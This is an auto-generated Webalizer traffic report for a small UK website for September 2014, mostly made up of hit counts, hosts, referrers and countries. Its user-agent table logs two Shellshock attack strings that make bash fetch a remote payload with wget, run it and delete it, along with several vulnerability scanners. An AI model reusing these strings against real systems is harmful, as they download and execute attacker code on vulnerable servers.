Usage Statistics for fattyfatfatfat.co.uk

Summary Period: September 2014
Generated 01-Oct-2014 13:02 BST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for September 2014
Total Hits 616
Total Files 58
Total Pages 179
Total Visits 114
Total KBytes 32
Total Unique Sites 142
Total Unique URLs 2
Total Unique Referrers 5
Total Unique User Agents 34
. Avg Max
Hits per Hour 0 126
Hits per Day 20 158
Files per Day 1 5
Pages per Day 5 21
Sites per Day 4 11
Visits per Day 3 8
KBytes per Day 1 5
Hits by Response Code
Code 200 - OK 9.42% 58
Code 206 - Partial Content 0.16% 1
Code 400 - Bad Request 5.03% 31
Code 404 - Not Found 85.39% 526

Daily usage for September 2014

Daily Statistics for September 2014
Day Hits Files Pages Visits Sites KBytes
1 21 3.41% 2 3.45% 5 2.79% 4 3.51% 7 4.93% 1 2.07%
2 11 1.79% 3 5.17% 6 3.35% 6 5.26% 11 7.75% 1 4.20%
3 22 3.57% 4 6.90% 9 5.03% 5 4.39% 10 7.04% 1 4.10%
4 25 4.06% 2 3.45% 4 2.23% 4 3.51% 9 6.34% 1 3.18%
5 16 2.60% 1 1.72% 4 2.23% 3 2.63% 10 7.04% 0 1.02%
6 12 1.95% 2 3.45% 5 2.79% 4 3.51% 9 6.34% 1 2.04%
7 4 0.65% 1 1.72% 1 0.56% 1 0.88% 4 2.82% 1 2.15%
8 4 0.65% 1 1.72% 1 0.56% 1 0.88% 2 1.41% 0 1.02%
9 33 5.36% 3 5.17% 20 11.17% 3 2.63% 4 2.82% 2 5.32%
10 10 1.62% 2 3.45% 2 1.12% 2 1.75% 4 2.82% 1 3.17%
11 5 0.81% 1 1.72% 1 0.56% 1 0.88% 4 2.82% 0 1.02%
12 67 10.88% 2 3.45% 8 4.47% 6 5.26% 8 5.63% 1 4.30%
13 158 25.65% 5 8.62% 21 11.73% 4 3.51% 7 4.93% 1 3.06%
14 3 0.49% 2 3.45% 2 1.12% 2 1.75% 3 2.11% 1 2.06%
15 9 1.46% 2 3.45% 3 1.68% 3 2.63% 4 2.82% 0 1.02%
16 10 1.62% 2 3.45% 7 3.91% 3 2.63% 6 4.23% 1 3.17%
17 15 2.44% 5 8.62% 7 3.91% 7 6.14% 9 6.34% 1 4.08%
18 6 0.97% 1 1.72% 4 2.23% 4 3.51% 6 4.23% 2 5.42%
19 6 0.97% 1 1.72% 3 1.68% 3 2.63% 6 4.23% 1 2.26%
20 16 2.60% 1 1.72% 9 5.03% 5 4.39% 7 4.93% 0 1.02%
21 7 1.14% 2 3.45% 4 2.23% 4 3.51% 6 4.23% 1 4.30%
22 2 0.32% 0 0.00% 2 1.12% 1 0.88% 1 0.70% 0 0.00%
23 2 0.32% 0 0.00% 1 0.56% 1 0.88% 2 1.41% 0 1.13%
24 5 0.81% 3 5.17% 5 2.79% 5 4.39% 5 3.52% 2 5.40%
25 105 17.05% 3 5.17% 12 6.70% 8 7.02% 10 7.04% 5 16.13%
26 11 1.79% 1 1.72% 9 5.03% 4 3.51% 4 2.82% 1 4.40%
27 4 0.65% 1 1.72% 3 1.68% 3 2.63% 4 2.82% 1 3.30%
28 13 2.11% 3 5.17% 11 6.15% 8 7.02% 9 6.34% 1 4.21%
29 7 1.14% 2 3.45% 7 3.91% 6 5.26% 6 4.23% 1 3.19%
30 7 1.14% 0 0.00% 3 1.68% 3 2.63% 6 4.23% 1 2.26%

Hourly usage for September 2014

Hourly Statistics for September 2014
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 4 0.65% 0 1 1.72% 0 3 1.68% 0 0 1.02%
1 0 14 2.27% 0 2 3.45% 0 12 6.70% 0 1 3.07%
2 0 27 4.38% 0 1 1.72% 0 5 2.79% 0 0 1.13%
3 0 27 4.38% 0 5 8.62% 0 14 7.82% 0 2 6.41%
4 3 98 15.91% 0 2 3.45% 0 5 2.79% 0 1 4.33%
5 1 42 6.82% 0 6 10.34% 0 29 16.20% 0 3 8.41%
6 0 11 1.79% 0 0 0.00% 0 3 1.68% 0 0 0.00%
7 4 145 23.54% 0 2 3.45% 0 6 3.35% 0 4 12.77%
8 0 7 1.14% 0 1 1.72% 0 3 1.68% 0 1 2.15%
9 0 16 2.60% 0 5 8.62% 0 13 7.26% 0 2 6.25%
10 1 31 5.03% 0 0 0.00% 0 5 2.79% 0 1 2.26%
11 0 10 1.62% 0 3 5.17% 0 6 3.35% 0 1 4.20%
12 0 15 2.44% 0 2 3.45% 0 2 1.12% 0 0 1.13%
13 0 6 0.97% 0 1 1.72% 0 5 2.79% 0 1 3.29%
14 0 7 1.14% 0 2 3.45% 0 2 1.12% 0 1 2.05%
15 0 5 0.81% 0 3 5.17% 0 3 1.68% 0 1 4.20%
16 0 3 0.49% 0 0 0.00% 0 2 1.12% 0 0 0.00%
17 0 11 1.79% 0 2 3.45% 0 4 2.23% 0 2 5.44%
18 1 33 5.36% 0 4 6.90% 0 8 4.47% 0 2 5.24%
19 0 20 3.25% 0 3 5.17% 0 8 4.47% 0 1 4.31%
20 0 17 2.76% 0 2 3.45% 0 9 5.03% 0 1 3.17%
21 0 26 4.22% 0 5 8.62% 0 8 4.47% 0 3 8.49%
22 1 34 5.52% 0 3 5.17% 0 19 10.61% 0 2 5.38%
23 0 7 1.14% 0 3 5.17% 0 5 2.79% 0 2 5.32%

Top 2 of 2 Total URLs
# Hits KBytes URL
1 58 9.42% 17 54.42% /
2 1 0.16% 3 10.63% /cgi-sys/defaultwebpage.cgi

Top 2 of 2 Total URLs By KBytes
# Hits KBytes URL
1 58 9.42% 17 54.42% /
2 1 0.16% 3 10.63% /cgi-sys/defaultwebpage.cgi

Top 2 of 2 Total Entry Pages
# Hits Visits URL
1 58 9.42% 67 98.53% /
2 1 0.16% 1 1.47% /cgi-sys/defaultwebpage.cgi

Top 2 of 2 Total Exit Pages
# Hits Visits URL
1 58 9.42% 63 98.44% /
2 1 0.16% 1 1.56% /cgi-sys/defaultwebpage.cgi

Top 30 of 142 Total Sites
# Hits Files KBytes Visits Hostname
1 125 20.29% 0 0.00% 0 0.00% 0 0.00% 147.83.115.218
2 92 14.94% 0 0.00% 0 0.00% 1 0.88% 141.255.161.120
3 59 9.58% 4 6.90% 2 7.47% 2 1.75% 84.200.24.81
4 54 8.77% 0 0.00% 0 0.00% 2 1.75% 218.38.136.36
5 14 2.27% 0 0.00% 0 0.00% 1 0.88% 218.152.216.82
6 14 2.27% 0 0.00% 0 0.00% 1 0.88% hosted-for-minecraft.net
7 12 1.95% 0 0.00% 0 0.00% 0 0.00% 69.174.245.163
8 11 1.79% 0 0.00% 0 0.00% 1 0.88% 102.ip-192-99-166.net
9 8 1.30% 0 0.00% 3 9.02% 0 0.00% 200.136.214.133
10 8 1.30% 1 1.72% 0 1.02% 1 0.88% 38.ip-192-99-152.net
11 7 1.14% 0 0.00% 0 0.00% 0 0.00% 175.45.187.182
12 7 1.14% 0 0.00% 0 0.00% 1 0.88% 80.82.64.145
13 6 0.97% 0 0.00% 0 0.00% 0 0.00% chipotle089.server4you.de
14 5 0.81% 0 0.00% 0 0.00% 1 0.88% 120.35.3.5
15 5 0.81% 0 0.00% 0 0.00% 1 0.88% ampartnersinc.com
16 5 0.81% 0 0.00% 0 0.00% 1 0.88% host.colocrossing.com
17 5 0.81% 0 0.00% 0 0.00% 1 0.88% hosted-by.as51430.net
18 5 0.81% 0 0.00% 0 0.00% 1 0.88% mx666.auonline.com.au
19 5 0.81% 0 0.00% 0 0.00% 1 0.88% static-ip-18154025085.cable.net.co
20 4 0.65% 0 0.00% 0 0.00% 0 0.00% 118.244.201.4
21 4 0.65% 0 0.00% 0 0.00% 4 3.51% 122.226.223.69
22 4 0.65% 4 6.90% 1 4.09% 4 3.51% 182.254.153.249
23 4 0.65% 0 0.00% 0 0.00% 0 0.00% 62-210-167-201.rev.poneytelecom.eu
24 4 0.65% 2 3.45% 1 2.04% 2 1.75% census3.shodan.io
25 3 0.49% 3 5.17% 1 3.07% 3 2.63% 182.254.153.45
26 3 0.49% 3 5.17% 1 3.08% 3 2.63% 182.254.208.101
27 3 0.49% 3 5.17% 1 3.07% 3 2.63% 182.254.208.14
28 3 0.49% 0 0.00% 0 0.00% 1 0.88% 42.ip-192-99-166.net
29 3 0.49% 1 1.72% 1 3.28% 3 2.63% 61.160.224.130
30 3 0.49% 0 0.00% 0 0.00% 0 0.00% 65.207.23.201

Top 10 of 142 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 1 0.16% 1 1.72% 3 10.63% 1 0.88% hosted-by.snel.com
2 8 1.30% 0 0.00% 3 9.02% 0 0.00% 200.136.214.133
3 59 9.58% 4 6.90% 2 7.47% 2 1.75% 84.200.24.81
4 4 0.65% 4 6.90% 1 4.09% 4 3.51% 182.254.153.249
5 3 0.49% 1 1.72% 1 3.28% 3 2.63% 61.160.224.130
6 3 0.49% 3 5.17% 1 3.08% 3 2.63% 182.254.208.101
7 3 0.49% 3 5.17% 1 3.07% 3 2.63% 182.254.153.45
8 3 0.49% 3 5.17% 1 3.07% 3 2.63% 182.254.208.14
9 2 0.32% 0 0.00% 1 2.26% 0 0.00% ip-118-139-181-37.ip.secureserver.net
10 2 0.32% 2 3.45% 1 2.18% 2 1.75% internetsurvey-3.erratasec.com

Top 5 of 5 Total Referrers
# Hits Referrer
1 601 97.56% - (Direct Request)
2 8 1.30% http://hotel.qunar.com/
3 4 0.65% http://78.110.167.60/
4 2 0.32% ()
5 1 0.16% http://www.baidu.com/

Top 15 of 34 Total User Agents
# Hits User Agent
1 115 18.67% ZmEu
2 56 9.09% Python-urllib/2.7
3 27 4.38% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0
4 23 3.73% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
5 14 2.27% Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
6 10 1.62% Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
7 10 1.62% Mozilla/5.0 (compatible; Zollard; Linux)
8 8 1.30% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
9 4 0.65% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CL
10 3 0.49% () { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"
11 3 0.49% () { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"
12 3 0.49% Morfeus Fucking Scanner
13 3 0.49% masscan/1.0 (https://github.com/robertdavidgraham/masscan)
14 2 0.32% HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.1.6
15 2 0.32% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)

Usage by Country for September 2014

Top 14 of 14 Total Countries
# Hits Files KBytes Country
1 460 74.68% 40 68.97% 18 56.87% Unresolved/Unknown
2 77 12.50% 5 8.62% 3 9.87% Network (net)
3 35 5.68% 8 13.79% 8 23.65% Commercial (com)
4 9 1.46% 5 8.62% 2 5.10% British Indian Ocean Territory
5 7 1.14% 0 0.00% 0 1.13% Germany
6 6 0.97% 1 1.72% 0 0.00% European Union
7 5 0.81% 0 0.00% 0 0.00% Australia
8 5 0.81% 0 0.00% 0 0.00% China
9 5 0.81% 0 0.00% 0 0.00% Colombia
10 3 0.49% 0 0.00% 0 1.13% Netherlands
11 1 0.16% 0 0.00% 0 1.13% Argentina
12 1 0.16% 0 0.00% 0 0.00% Czech Republic
13 1 0.16% 0 0.00% 0 1.13% Malaysia
14 1 0.16% 0 0.00% 0 0.00% Thailand


Generated by Webalizer Version 2.23